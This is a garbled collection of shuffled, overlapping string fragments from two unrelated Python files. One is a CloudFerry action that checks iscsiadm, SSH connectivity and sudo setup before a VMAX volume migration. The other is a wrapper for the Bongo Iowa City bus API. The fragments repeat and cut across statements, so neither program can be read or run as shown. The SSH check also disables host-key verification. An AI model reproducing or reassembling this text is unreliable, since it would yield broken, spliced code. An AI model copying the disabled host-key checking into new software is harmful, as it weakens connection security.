self.cfg.dst_storage.backend != 'iscsi-vmax': return self._iscsiadm_is_installed_locally() self._ssh_connectivity_between_controllers()", "iscsiadm is \" \"mandatory for migrations with EMC VMAX cinder", "'-o StrictHostKeyChecking=no') cmd = \"ssh {opts} {user}@{host} 'echo ok'\".format(opts=ssh_opts, user=dst_user,", "# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express", "or run \" \"CloudFerry as root user.\").format(user=current_user) LOG.error(msg) raise exception.AbortMigrationError(msg)", "src_host = self.cfg.src.ssh_host src_user = self.cfg.src.ssh_user dst_host = self.cfg.dst.ssh_host dst_user", "exception.AbortMigrationError(msg) def _ssh_connectivity_between_controllers(self): src_host = self.cfg.src.ssh_host src_user = self.cfg.src.ssh_user dst_host", "2016 Mirantis Inc. # # Licensed under the Apache License,", "rr = remote_runner.RemoteRunner(src_host, src_user) ssh_opts = ('-o UserKnownHostsFile=/dev/null ' '-o", "'{src_host}' node\") msg = msg.format(src_host=src_host, dst_host=dst_host, ssh_cmd=cmd) LOG.error(msg) raise exception.AbortMigrationError(msg)", "node you running on or \" \"choose other cinder backend", "and '%s'\", src_host, dst_host) rr = remote_runner.RemoteRunner(src_host, src_user) ssh_opts =", "from cloudferry.lib.base.action import action from cloudferry.lib.utils import local from cloudferry.lib.utils", "language governing permissions and # limitations under the License. import", "Please \" \"install iscsiadm tool on the node you running", "'{src_host}' and \" \"destination host '{dst_host}'. Make sure you have", "configured on \" \"current host. Please either specify password in", "http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed", "\"destination host '{dst_host}'. Make sure you have keys \" \"and", "ssh_cmd=cmd) LOG.error(msg) raise exception.AbortMigrationError(msg) def run(self, **kwargs): if self.cfg.dst_storage.backend !=", "\" \"mandatory for migrations with EMC VMAX cinder backend\") LOG.error(msg)", "import action from cloudferry.lib.utils import local from cloudferry.lib.utils import remote_runner", "run(self, **kwargs): if self.cfg.dst_storage.backend != 'iscsi-vmax': return self._iscsiadm_is_installed_locally() self._ssh_connectivity_between_controllers() self._check_local_sudo_password_set()", "available on the local host. Please \" \"install iscsiadm tool", "\" \"install iscsiadm tool on the node you running on", "or implied. # See the License for the specific language", "KIND, either express or implied. # See the License for", "specific language governing permissions and # limitations under the License.", "_iscsiadm_is_installed_locally(self): LOG.info(\"Checking if iscsiadm tool is installed\") try: local.run('iscsiadm --help", "\"install iscsiadm tool on the node you running on or", "and \" \"destination host '{dst_host}'. Make sure you have keys", "License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by", "sure you have keys \" \"and correct configuration on these", "'root' and \\ self.cfg.migrate.local_sudo_password is None: try: local.sudo('ls') except local.LocalExecutionFailed:", "for migrations with EMC VMAX cinder backend\") LOG.error(msg) raise exception.AbortMigrationError(msg)", "&>/dev/null') except local.LocalExecutionFailed: msg = (\"iscsiadm is not available on", "cloudferry.lib.utils import remote_runner LOG = logging.getLogger(__name__) class CheckVMAXPrerequisites(action.Action): \"\"\"This verifies", "(the \"License\"); # you may not use this file except", "# you may not use this file except in compliance", "is installed\") try: local.run('iscsiadm --help &>/dev/null') except local.LocalExecutionFailed: msg =", "cloudferry.lib.base import exception from cloudferry.lib.base.action import action from cloudferry.lib.utils import", "import logging from cloudferry.lib.base import exception from cloudferry.lib.base.action import action", "\"mandatory for migrations with EMC VMAX cinder backend\") LOG.error(msg) raise", "on the node you running on or \" \"choose other", "# # Unless required by applicable law or agreed to", "\"current host. Please either specify password in \" \"`local_sudo_password` config", "obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0", "(\"CloudFerry is running as '{user}' user, but \" \"passwordless sudo", "# Copyright 2016 Mirantis Inc. # # Licensed under the", "Version 2.0 (the \"License\"); # you may not use this", "self.cfg.dst.ssh_user LOG.info(\"Checking ssh connectivity between '%s' and '%s'\", src_host, dst_host)", "host '{dst_host}'. Make sure you have keys \" \"and correct", "remote_runner.RemoteExecutionError: msg = (\"No ssh connectivity between source host '{src_host}'", "as root user.\").format(user=current_user) LOG.error(msg) raise exception.AbortMigrationError(msg) def _ssh_connectivity_between_controllers(self): src_host =", "implied. # See the License for the specific language governing", "current_user = getpass.getuser() if current_user != 'root' and \\ self.cfg.migrate.local_sudo_password", "under the Apache License, Version 2.0 (the \"License\"); # you", "try: local.run('iscsiadm --help &>/dev/null') except local.LocalExecutionFailed: msg = (\"iscsiadm is", "local host. Please \" \"install iscsiadm tool on the node", "local.LocalExecutionFailed: msg = (\"iscsiadm is not available on the local", "'echo ok'\".format(opts=ssh_opts, user=dst_user, host=dst_host) try: rr.run(cmd) except remote_runner.RemoteExecutionError: msg =", "LOG.error(msg) raise exception.AbortMigrationError(msg) def _ssh_connectivity_between_controllers(self): src_host = self.cfg.src.ssh_host src_user =", "CheckVMAXPrerequisites(action.Action): \"\"\"This verifies prerequisites required for NFS to VMAX iSCSI", "to be configured on \" \"current host. Please either specify", "by applicable law or agreed to in writing, software #", "self.cfg.src.ssh_host src_user = self.cfg.src.ssh_user dst_host = self.cfg.dst.ssh_host dst_user = self.cfg.dst.ssh_user", "cloudferry.lib.utils import local from cloudferry.lib.utils import remote_runner LOG = logging.getLogger(__name__)", "between source host '{src_host}' and \" \"destination host '{dst_host}'. Make", "if iscsiadm tool is installed\") try: local.run('iscsiadm --help &>/dev/null') except", "except local.LocalExecutionFailed: msg = (\"CloudFerry is running as '{user}' user,", "rr.run(cmd) except remote_runner.RemoteExecutionError: msg = (\"No ssh connectivity between source", "' '-o StrictHostKeyChecking=no') cmd = \"ssh {opts} {user}@{host} 'echo ok'\".format(opts=ssh_opts,", "ssh_opts = ('-o UserKnownHostsFile=/dev/null ' '-o StrictHostKeyChecking=no') cmd = \"ssh", "Make sure you have keys \" \"and correct configuration on", "you have keys \" \"and correct configuration on these nodes.", "from cloudferry.lib.base import exception from cloudferry.lib.base.action import action from cloudferry.lib.utils", "an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF", "except remote_runner.RemoteExecutionError: msg = (\"No ssh connectivity between source host", "Unless required by applicable law or agreed to in writing,", "NFS to VMAX iSCSI cinder volume migration\"\"\" def _iscsiadm_is_installed_locally(self): LOG.info(\"Checking", "remote_runner LOG = logging.getLogger(__name__) class CheckVMAXPrerequisites(action.Action): \"\"\"This verifies prerequisites required", "action from cloudferry.lib.utils import local from cloudferry.lib.utils import remote_runner LOG", "msg = (\"iscsiadm is not available on the local host.", "the specific language governing permissions and # limitations under the", "on \" \"current host. Please either specify password in \"", "applicable law or agreed to in writing, software # distributed", "remote_runner.RemoteRunner(src_host, src_user) ssh_opts = ('-o UserKnownHostsFile=/dev/null ' '-o StrictHostKeyChecking=no') cmd", "run \" \"CloudFerry as root user.\").format(user=current_user) LOG.error(msg) raise exception.AbortMigrationError(msg) def", "other cinder backend for migration. iscsiadm is \" \"mandatory for", "in \" \"`local_sudo_password` config option, or run \" \"CloudFerry as", "host '{src_host}' and \" \"destination host '{dst_host}'. Make sure you", "in writing, software # distributed under the License is distributed", "('-o UserKnownHostsFile=/dev/null ' '-o StrictHostKeyChecking=no') cmd = \"ssh {opts} {user}@{host}", "volume migration\"\"\" def _iscsiadm_is_installed_locally(self): LOG.info(\"Checking if iscsiadm tool is installed\")", "msg = msg.format(src_host=src_host, dst_host=dst_host, ssh_cmd=cmd) LOG.error(msg) raise exception.AbortMigrationError(msg) def run(self,", "cloudferry.lib.base.action import action from cloudferry.lib.utils import local from cloudferry.lib.utils import", "\" \"'{ssh_cmd}' from '{src_host}' node\") msg = msg.format(src_host=src_host, dst_host=dst_host, ssh_cmd=cmd)", "msg = (\"CloudFerry is running as '{user}' user, but \"", "local.LocalExecutionFailed: msg = (\"CloudFerry is running as '{user}' user, but", "= logging.getLogger(__name__) class CheckVMAXPrerequisites(action.Action): \"\"\"This verifies prerequisites required for NFS", "as '{user}' user, but \" \"passwordless sudo does not seem", "License is distributed on an \"AS IS\" BASIS, # WITHOUT", "License, Version 2.0 (the \"License\"); # you may not use", "either specify password in \" \"`local_sudo_password` config option, or run", "# You may obtain a copy of the License at", "configuration on these nodes. To verify run \" \"'{ssh_cmd}' from", "\" \"CloudFerry as root user.\").format(user=current_user) LOG.error(msg) raise exception.AbortMigrationError(msg) def _ssh_connectivity_between_controllers(self):", "copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # #", "# limitations under the License. import getpass import logging from", "exception.AbortMigrationError(msg) def run(self, **kwargs): if self.cfg.dst_storage.backend != 'iscsi-vmax': return self._iscsiadm_is_installed_locally()", "iscsiadm tool on the node you running on or \"", "None: try: local.sudo('ls') except local.LocalExecutionFailed: msg = (\"CloudFerry is running", "!= 'root' and \\ self.cfg.migrate.local_sudo_password is None: try: local.sudo('ls') except", "tool on the node you running on or \" \"choose", "tool is installed\") try: local.run('iscsiadm --help &>/dev/null') except local.LocalExecutionFailed: msg", "iSCSI cinder volume migration\"\"\" def _iscsiadm_is_installed_locally(self): LOG.info(\"Checking if iscsiadm tool", "the License for the specific language governing permissions and #", "Apache License, Version 2.0 (the \"License\"); # you may not", "either express or implied. # See the License for the", "(\"No ssh connectivity between source host '{src_host}' and \" \"destination", "# http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or", "source host '{src_host}' and \" \"destination host '{dst_host}'. Make sure", "\" \"choose other cinder backend for migration. iscsiadm is \"", "nodes. To verify run \" \"'{ssh_cmd}' from '{src_host}' node\") msg", "\"and correct configuration on these nodes. To verify run \"", "cinder volume migration\"\"\" def _iscsiadm_is_installed_locally(self): LOG.info(\"Checking if iscsiadm tool is", "running on or \" \"choose other cinder backend for migration.", "import exception from cloudferry.lib.base.action import action from cloudferry.lib.utils import local", "running as '{user}' user, but \" \"passwordless sudo does not", "a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 #", "LOG.error(msg) raise exception.AbortMigrationError(msg) def _check_local_sudo_password_set(self): current_user = getpass.getuser() if current_user", "\" \"`local_sudo_password` config option, or run \" \"CloudFerry as root", "user=dst_user, host=dst_host) try: rr.run(cmd) except remote_runner.RemoteExecutionError: msg = (\"No ssh", "msg.format(src_host=src_host, dst_host=dst_host, ssh_cmd=cmd) LOG.error(msg) raise exception.AbortMigrationError(msg) def run(self, **kwargs): if", "except local.LocalExecutionFailed: msg = (\"iscsiadm is not available on the", "self.cfg.dst.ssh_host dst_user = self.cfg.dst.ssh_user LOG.info(\"Checking ssh connectivity between '%s' and", "host=dst_host) try: rr.run(cmd) except remote_runner.RemoteExecutionError: msg = (\"No ssh connectivity", "def _iscsiadm_is_installed_locally(self): LOG.info(\"Checking if iscsiadm tool is installed\") try: local.run('iscsiadm", "logging.getLogger(__name__) class CheckVMAXPrerequisites(action.Action): \"\"\"This verifies prerequisites required for NFS to", "you running on or \" \"choose other cinder backend for", "\"passwordless sudo does not seem to be configured on \"", "\"License\"); # you may not use this file except in", "import local from cloudferry.lib.utils import remote_runner LOG = logging.getLogger(__name__) class", "self.cfg.migrate.local_sudo_password is None: try: local.sudo('ls') except local.LocalExecutionFailed: msg = (\"CloudFerry", "distributed on an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR", "cinder backend\") LOG.error(msg) raise exception.AbortMigrationError(msg) def _check_local_sudo_password_set(self): current_user = getpass.getuser()", "# distributed under the License is distributed on an \"AS", "for migration. iscsiadm is \" \"mandatory for migrations with EMC", "# Unless required by applicable law or agreed to in", "\"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY", "the local host. Please \" \"install iscsiadm tool on the", "class CheckVMAXPrerequisites(action.Action): \"\"\"This verifies prerequisites required for NFS to VMAX", "You may obtain a copy of the License at #", "= getpass.getuser() if current_user != 'root' and \\ self.cfg.migrate.local_sudo_password is", "Copyright 2016 Mirantis Inc. # # Licensed under the Apache", "from cloudferry.lib.utils import local from cloudferry.lib.utils import remote_runner LOG =", "on or \" \"choose other cinder backend for migration. iscsiadm", "local.sudo('ls') except local.LocalExecutionFailed: msg = (\"CloudFerry is running as '{user}'", "the Apache License, Version 2.0 (the \"License\"); # you may", "UserKnownHostsFile=/dev/null ' '-o StrictHostKeyChecking=no') cmd = \"ssh {opts} {user}@{host} 'echo", "= (\"CloudFerry is running as '{user}' user, but \" \"passwordless", "License. import getpass import logging from cloudferry.lib.base import exception from", "LOG = logging.getLogger(__name__) class CheckVMAXPrerequisites(action.Action): \"\"\"This verifies prerequisites required for", "ssh connectivity between '%s' and '%s'\", src_host, dst_host) rr =" ]
[ "call to the `route` method. >>> Bongo().routes() {\"routes\": [1234, 5678,", "self.get(endpoint, **kwargs) def stops(self): \"\"\" Same as an empty call", "== 'application/json': data = response.json elif 'stoplist' in response.url: #", "9999]} \"\"\" return self.stop() def predict(self, number, **kwargs): \"\"\" Predict", "to the `stop` method. >>> Bongo().stops() {\"stops\": [1234, 5678, 9999]}", "bus API. \"\"\" import requests as req class Bongo(object): \"\"\"", "**kwargs): \"\"\" Get information on a specific route, or all", "'stoplist' return self.get(endpoint, **kwargs) def stops(self): \"\"\" Same as an", "predict(self, number, **kwargs): \"\"\" Predict the bus arrival times for", "it's HTML. data = response.json else: data = response.content return", "the data.\"\"\" if 'format' not in kwargs: kwargs['format'] = self.format", "a given stop number. >>> Bongo().stop(8350) {\"stop\": {\"8350\": \"information\"}} \"\"\"", "for the Bongo Iowa City bus API. \"\"\" def __init__(self,", "number else: endpoint = 'stoplist' return self.get(endpoint, **kwargs) def stops(self):", "\"\"\" A simple wrapper for the Bongo Iowa City bus", "simple wrapper for the Bongo Iowa City bus API. \"\"\"", "the Bongo Iowa City bus API. \"\"\" import requests as", "response.json elif 'stoplist' in response.url: # The `stoplist` endpoint insists", "Get information on a specific route, or all route listings.", "A simple Python wrapper for the Bongo Iowa City bus", "information on a specific route, or all route listings. >>>", "= 'route' kwargs['agency'] = agency kwargs['route'] = tag else: endpoint", "return self.route() def stop(self, number=None, **kwargs): \"\"\" Retrieve information specific", ">>> Bongo().stops() {\"stops\": [1234, 5678, 9999]} \"\"\" return self.stop() def", "return self.get(endpoint, **kwargs) def stops(self): \"\"\" Same as an empty", "self.format url = \"http://ebongo.org/api/%s\" % (endpoint) response = req.get(url, params=kwargs)", "and tag: endpoint = 'route' kwargs['agency'] = agency kwargs['route'] =", "<reponame>codeforamerica/bongo \"\"\" A simple wrapper for the Bongo Iowa City", "# The `stoplist` endpoint insists that it's HTML. data =", "\"\"\" def __init__(self, format='json'): self.format = format def get(self, endpoint,", "agency and tag: endpoint = 'route' kwargs['agency'] = agency kwargs['route']", "def predict(self, number, **kwargs): \"\"\" Predict the bus arrival times", "if agency and tag: endpoint = 'route' kwargs['agency'] = agency", "\"\"\" Predict the bus arrival times for a specific stop.", "Predict the bus arrival times for a specific stop. >>>", "\"\"\" return self.stop() def predict(self, number, **kwargs): \"\"\" Predict the", "response.content return data def route(self, tag=None, agency=None, **kwargs): \"\"\" Get", "\"\"\" Same as an empty call to the `route` method.", "stop(self, number=None, **kwargs): \"\"\" Retrieve information specific to a given", "based on the response type.\"\"\" content_type = response.headers['content-type'] if content_type", "times for a specific stop. >>> Bongo().predict(8350) {\"stop\": {\"8350\": \"prediction\"}}", "API and return the data.\"\"\" if 'format' not in kwargs:", "self.route() def stop(self, number=None, **kwargs): \"\"\" Retrieve information specific to", "on a specific route, or all route listings. >>> Bongo().route('lantern',", "5678, 9999]} \"\"\" return self.route() def stop(self, number=None, **kwargs): \"\"\"", "= 'routelist' return self.get(endpoint, **kwargs) def routes(self): \"\"\" Same as", "City bus API. \"\"\" def __init__(self, format='json'): self.format = format", "endpoint = 'stop' kwargs['stopid'] = number else: endpoint = 'stoplist'", "**kwargs): \"\"\"Perform a HTTP GET request to the API and", "Iowa City bus API. \"\"\" import requests as req class", "\"information\"}} \"\"\" if number: endpoint = 'stop' kwargs['stopid'] = number", "5678, 9999]} \"\"\" return self.stop() def predict(self, number, **kwargs): \"\"\"", "endpoint = 'routelist' return self.get(endpoint, **kwargs) def routes(self): \"\"\" Same", "Bongo().routes() {\"routes\": [1234, 5678, 9999]} \"\"\" return self.route() def stop(self,", "def get(self, endpoint, **kwargs): \"\"\"Perform a HTTP GET request to", "data def route(self, tag=None, agency=None, **kwargs): \"\"\" Get information on", "that it's HTML. data = response.json else: data = response.content", "an empty call to the `stop` method. >>> Bongo().stops() {\"stops\":", "insists that it's HTML. data = response.json else: data =", "\"\"\" if agency and tag: endpoint = 'route' kwargs['agency'] =", "= number else: endpoint = 'stoplist' return self.get(endpoint, **kwargs) def", "number: endpoint = 'stop' kwargs['stopid'] = number else: endpoint =", "for the Bongo Iowa City bus API. \"\"\" import requests", "return self.stop() def predict(self, number, **kwargs): \"\"\" Predict the bus", "else: endpoint = 'stoplist' return self.get(endpoint, **kwargs) def stops(self): \"\"\"", "content_type == 'application/json': data = response.json elif 'stoplist' in response.url:", "\"\"\"Perform a HTTP GET request to the API and return", "number. >>> Bongo().stop(8350) {\"stop\": {\"8350\": \"information\"}} \"\"\" if number: endpoint", "\"\"\" A simple Python wrapper for the Bongo Iowa City", "response = req.get(url, params=kwargs) return self.convert(response) def convert(self, response): \"\"\"Convert", ">>> Bongo().routes() {\"routes\": [1234, 5678, 9999]} \"\"\" return self.route() def", "kwargs['stopid'] = number else: endpoint = 'stoplist' return self.get(endpoint, **kwargs)", "Bongo().predict(8350) {\"stop\": {\"8350\": \"prediction\"}} \"\"\" endpoint = 'prediction' kwargs['stopid'] =", "Bongo().route('lantern', 'coralville') {\"coralville's\": {\"lantern\": \"route\"}} \"\"\" if agency and tag:", "stop number. >>> Bongo().stop(8350) {\"stop\": {\"8350\": \"information\"}} \"\"\" if number:", "(endpoint) response = req.get(url, params=kwargs) return self.convert(response) def convert(self, response):", "in kwargs: kwargs['format'] = self.format url = \"http://ebongo.org/api/%s\" % (endpoint)", "return the data.\"\"\" if 'format' not in kwargs: kwargs['format'] =", "empty call to the `stop` method. >>> Bongo().stops() {\"stops\": [1234,", "**kwargs) def stops(self): \"\"\" Same as an empty call to", "'stop' kwargs['stopid'] = number else: endpoint = 'stoplist' return self.get(endpoint,", "bus arrival times for a specific stop. >>> Bongo().predict(8350) {\"stop\":", "routes(self): \"\"\" Same as an empty call to the `route`", "the response type.\"\"\" content_type = response.headers['content-type'] if content_type == 'application/json':", "request based on the response type.\"\"\" content_type = response.headers['content-type'] if", "on the response type.\"\"\" content_type = response.headers['content-type'] if content_type ==", "Same as an empty call to the `stop` method. >>>", "'format' not in kwargs: kwargs['format'] = self.format url = \"http://ebongo.org/api/%s\"", "as req class Bongo(object): \"\"\" A simple Python wrapper for", "agency kwargs['route'] = tag else: endpoint = 'routelist' return self.get(endpoint,", "`stop` method. >>> Bongo().stops() {\"stops\": [1234, 5678, 9999]} \"\"\" return", "\"\"\" if number: endpoint = 'stop' kwargs['stopid'] = number else:", "data.\"\"\" if 'format' not in kwargs: kwargs['format'] = self.format url", "to a given stop number. >>> Bongo().stop(8350) {\"stop\": {\"8350\": \"information\"}}", ">>> Bongo().stop(8350) {\"stop\": {\"8350\": \"information\"}} \"\"\" if number: endpoint =", "Bongo().stop(8350) {\"stop\": {\"8350\": \"information\"}} \"\"\" if number: endpoint = 'stop'", "to the API and return the data.\"\"\" if 'format' not", "Bongo Iowa City bus API. \"\"\" import requests as req", "format='json'): self.format = format def get(self, endpoint, **kwargs): \"\"\"Perform a", "route, or all route listings. >>> Bongo().route('lantern', 'coralville') {\"coralville's\": {\"lantern\":", "\"\"\" import requests as req class Bongo(object): \"\"\" A simple", "{\"stop\": {\"8350\": \"prediction\"}} \"\"\" endpoint = 'prediction' kwargs['stopid'] = number", "= response.json else: data = response.content return data def route(self,", "= req.get(url, params=kwargs) return self.convert(response) def convert(self, response): \"\"\"Convert a", "method. >>> Bongo().routes() {\"routes\": [1234, 5678, 9999]} \"\"\" return self.route()", "Bongo Iowa City bus API. \"\"\" def __init__(self, format='json'): self.format", "response.headers['content-type'] if content_type == 'application/json': data = response.json elif 'stoplist'", "return data def route(self, tag=None, agency=None, **kwargs): \"\"\" Get information", "**kwargs) def routes(self): \"\"\" Same as an empty call to", "The `stoplist` endpoint insists that it's HTML. data = response.json", "\"\"\"Convert a request based on the response type.\"\"\" content_type =", "9999]} \"\"\" return self.route() def stop(self, number=None, **kwargs): \"\"\" Retrieve", "a HTTP GET request to the API and return the", "GET request to the API and return the data.\"\"\" if", "the API and return the data.\"\"\" if 'format' not in", "\"\"\" return self.route() def stop(self, number=None, **kwargs): \"\"\" Retrieve information", "endpoint = 'route' kwargs['agency'] = agency kwargs['route'] = tag else:", "the Bongo Iowa City bus API. \"\"\" def __init__(self, format='json'):", "= response.json elif 'stoplist' in response.url: # The `stoplist` endpoint", "[1234, 5678, 9999]} \"\"\" return self.stop() def predict(self, number, **kwargs):", "agency=None, **kwargs): \"\"\" Get information on a specific route, or", "request to the API and return the data.\"\"\" if 'format'", "'stoplist' in response.url: # The `stoplist` endpoint insists that it's", "route listings. >>> Bongo().route('lantern', 'coralville') {\"coralville's\": {\"lantern\": \"route\"}} \"\"\" if", "self.convert(response) def convert(self, response): \"\"\"Convert a request based on the", "stops(self): \"\"\" Same as an empty call to the `stop`", "simple Python wrapper for the Bongo Iowa City bus API.", "endpoint, **kwargs): \"\"\"Perform a HTTP GET request to the API", "get(self, endpoint, **kwargs): \"\"\"Perform a HTTP GET request to the", "return self.convert(response) def convert(self, response): \"\"\"Convert a request based on", "**kwargs): \"\"\" Retrieve information specific to a given stop number.", "% (endpoint) response = req.get(url, params=kwargs) return self.convert(response) def convert(self,", "{\"coralville's\": {\"lantern\": \"route\"}} \"\"\" if agency and tag: endpoint =", "an empty call to the `route` method. >>> Bongo().routes() {\"routes\":", "empty call to the `route` method. >>> Bongo().routes() {\"routes\": [1234,", "stop. >>> Bongo().predict(8350) {\"stop\": {\"8350\": \"prediction\"}} \"\"\" endpoint = 'prediction'", "{\"routes\": [1234, 5678, 9999]} \"\"\" return self.route() def stop(self, number=None,", "a specific route, or all route listings. >>> Bongo().route('lantern', 'coralville')", "wrapper for the Bongo Iowa City bus API. \"\"\" def", "req class Bongo(object): \"\"\" A simple Python wrapper for the", "and return the data.\"\"\" if 'format' not in kwargs: kwargs['format']", "**kwargs): \"\"\" Predict the bus arrival times for a specific", "response type.\"\"\" content_type = response.headers['content-type'] if content_type == 'application/json': data", "{\"8350\": \"prediction\"}} \"\"\" endpoint = 'prediction' kwargs['stopid'] = number return", "{\"8350\": \"information\"}} \"\"\" if number: endpoint = 'stop' kwargs['stopid'] =", "def routes(self): \"\"\" Same as an empty call to the", "\"\"\" Same as an empty call to the `stop` method.", "if number: endpoint = 'stop' kwargs['stopid'] = number else: endpoint", "as an empty call to the `stop` method. >>> Bongo().stops()", "tag=None, agency=None, **kwargs): \"\"\" Get information on a specific route,", "self.get(endpoint, **kwargs) def routes(self): \"\"\" Same as an empty call", "tag: endpoint = 'route' kwargs['agency'] = agency kwargs['route'] = tag", "Python wrapper for the Bongo Iowa City bus API. \"\"\"", "\"http://ebongo.org/api/%s\" % (endpoint) response = req.get(url, params=kwargs) return self.convert(response) def", "def route(self, tag=None, agency=None, **kwargs): \"\"\" Get information on a", "content_type = response.headers['content-type'] if content_type == 'application/json': data = response.json", "def stop(self, number=None, **kwargs): \"\"\" Retrieve information specific to a", "number=None, **kwargs): \"\"\" Retrieve information specific to a given stop", "kwargs: kwargs['format'] = self.format url = \"http://ebongo.org/api/%s\" % (endpoint) response", "a request based on the response type.\"\"\" content_type = response.headers['content-type']", "response): \"\"\"Convert a request based on the response type.\"\"\" content_type", "self.stop() def predict(self, number, **kwargs): \"\"\" Predict the bus arrival", "number, **kwargs): \"\"\" Predict the bus arrival times for a", "the `route` method. >>> Bongo().routes() {\"routes\": [1234, 5678, 9999]} \"\"\"", "response.json else: data = response.content return data def route(self, tag=None,", "specific route, or all route listings. >>> Bongo().route('lantern', 'coralville') {\"coralville's\":", "wrapper for the Bongo Iowa City bus API. \"\"\" import", "else: data = response.content return data def route(self, tag=None, agency=None,", "all route listings. >>> Bongo().route('lantern', 'coralville') {\"coralville's\": {\"lantern\": \"route\"}} \"\"\"", "or all route listings. >>> Bongo().route('lantern', 'coralville') {\"coralville's\": {\"lantern\": \"route\"}}", "the bus arrival times for a specific stop. >>> Bongo().predict(8350)", "tag else: endpoint = 'routelist' return self.get(endpoint, **kwargs) def routes(self):", "def __init__(self, format='json'): self.format = format def get(self, endpoint, **kwargs):", "response.url: # The `stoplist` endpoint insists that it's HTML. data", "`route` method. >>> Bongo().routes() {\"routes\": [1234, 5678, 9999]} \"\"\" return", "a specific stop. >>> Bongo().predict(8350) {\"stop\": {\"8350\": \"prediction\"}} \"\"\" endpoint", "[1234, 5678, 9999]} \"\"\" return self.route() def stop(self, number=None, **kwargs):", "'coralville') {\"coralville's\": {\"lantern\": \"route\"}} \"\"\" if agency and tag: endpoint", "API. \"\"\" def __init__(self, format='json'): self.format = format def get(self,", "listings. >>> Bongo().route('lantern', 'coralville') {\"coralville's\": {\"lantern\": \"route\"}} \"\"\" if agency", "Retrieve information specific to a given stop number. >>> Bongo().stop(8350)", "kwargs['route'] = tag else: endpoint = 'routelist' return self.get(endpoint, **kwargs)", "API. \"\"\" import requests as req class Bongo(object): \"\"\" A", "params=kwargs) return self.convert(response) def convert(self, response): \"\"\"Convert a request based", "import requests as req class Bongo(object): \"\"\" A simple Python", "req.get(url, params=kwargs) return self.convert(response) def convert(self, response): \"\"\"Convert a request", "convert(self, response): \"\"\"Convert a request based on the response type.\"\"\"", "HTML. data = response.json else: data = response.content return data", "specific to a given stop number. >>> Bongo().stop(8350) {\"stop\": {\"8350\":", "for a specific stop. >>> Bongo().predict(8350) {\"stop\": {\"8350\": \"prediction\"}} \"\"\"", "endpoint = 'stoplist' return self.get(endpoint, **kwargs) def stops(self): \"\"\" Same", "= self.format url = \"http://ebongo.org/api/%s\" % (endpoint) response = req.get(url,", "self.format = format def get(self, endpoint, **kwargs): \"\"\"Perform a HTTP", "bus API. \"\"\" def __init__(self, format='json'): self.format = format def", "{\"stops\": [1234, 5678, 9999]} \"\"\" return self.stop() def predict(self, number,", "= format def get(self, endpoint, **kwargs): \"\"\"Perform a HTTP GET", "url = \"http://ebongo.org/api/%s\" % (endpoint) response = req.get(url, params=kwargs) return", "\"route\"}} \"\"\" if agency and tag: endpoint = 'route' kwargs['agency']", "method. >>> Bongo().stops() {\"stops\": [1234, 5678, 9999]} \"\"\" return self.stop()", "Bongo().stops() {\"stops\": [1234, 5678, 9999]} \"\"\" return self.stop() def predict(self,", "kwargs['agency'] = agency kwargs['route'] = tag else: endpoint = 'routelist'", "'application/json': data = response.json elif 'stoplist' in response.url: # The", "'route' kwargs['agency'] = agency kwargs['route'] = tag else: endpoint =", "as an empty call to the `route` method. >>> Bongo().routes()", "`stoplist` endpoint insists that it's HTML. data = response.json else:", "= response.content return data def route(self, tag=None, agency=None, **kwargs): \"\"\"", ">>> Bongo().route('lantern', 'coralville') {\"coralville's\": {\"lantern\": \"route\"}} \"\"\" if agency and", "def convert(self, response): \"\"\"Convert a request based on the response", "{\"lantern\": \"route\"}} \"\"\" if agency and tag: endpoint = 'route'", "\"\"\" Retrieve information specific to a given stop number. >>>", "= agency kwargs['route'] = tag else: endpoint = 'routelist' return", "= 'stop' kwargs['stopid'] = number else: endpoint = 'stoplist' return", "= 'stoplist' return self.get(endpoint, **kwargs) def stops(self): \"\"\" Same as", "\"\"\" endpoint = 'prediction' kwargs['stopid'] = number return self.get(endpoint, **kwargs)", "arrival times for a specific stop. >>> Bongo().predict(8350) {\"stop\": {\"8350\":", "data = response.json elif 'stoplist' in response.url: # The `stoplist`", "HTTP GET request to the API and return the data.\"\"\"", "requests as req class Bongo(object): \"\"\" A simple Python wrapper", "else: endpoint = 'routelist' return self.get(endpoint, **kwargs) def routes(self): \"\"\"", "A simple wrapper for the Bongo Iowa City bus API.", "class Bongo(object): \"\"\" A simple Python wrapper for the Bongo", "format def get(self, endpoint, **kwargs): \"\"\"Perform a HTTP GET request", "if 'format' not in kwargs: kwargs['format'] = self.format url =", "return self.get(endpoint, **kwargs) def routes(self): \"\"\" Same as an empty", "\"\"\" Get information on a specific route, or all route", "elif 'stoplist' in response.url: # The `stoplist` endpoint insists that", "in response.url: # The `stoplist` endpoint insists that it's HTML.", "'routelist' return self.get(endpoint, **kwargs) def routes(self): \"\"\" Same as an", "= \"http://ebongo.org/api/%s\" % (endpoint) response = req.get(url, params=kwargs) return self.convert(response)", "= tag else: endpoint = 'routelist' return self.get(endpoint, **kwargs) def", "__init__(self, format='json'): self.format = format def get(self, endpoint, **kwargs): \"\"\"Perform", "route(self, tag=None, agency=None, **kwargs): \"\"\" Get information on a specific", "def stops(self): \"\"\" Same as an empty call to the", "type.\"\"\" content_type = response.headers['content-type'] if content_type == 'application/json': data =", "\"prediction\"}} \"\"\" endpoint = 'prediction' kwargs['stopid'] = number return self.get(endpoint,", "to the `route` method. >>> Bongo().routes() {\"routes\": [1234, 5678, 9999]}", "specific stop. >>> Bongo().predict(8350) {\"stop\": {\"8350\": \"prediction\"}} \"\"\" endpoint =", "= response.headers['content-type'] if content_type == 'application/json': data = response.json elif", "kwargs['format'] = self.format url = \"http://ebongo.org/api/%s\" % (endpoint) response =", "data = response.content return data def route(self, tag=None, agency=None, **kwargs):", "information specific to a given stop number. >>> Bongo().stop(8350) {\"stop\":", "Same as an empty call to the `route` method. >>>", "if content_type == 'application/json': data = response.json elif 'stoplist' in", "given stop number. >>> Bongo().stop(8350) {\"stop\": {\"8350\": \"information\"}} \"\"\" if", "City bus API. \"\"\" import requests as req class Bongo(object):", ">>> Bongo().predict(8350) {\"stop\": {\"8350\": \"prediction\"}} \"\"\" endpoint = 'prediction' kwargs['stopid']", "endpoint 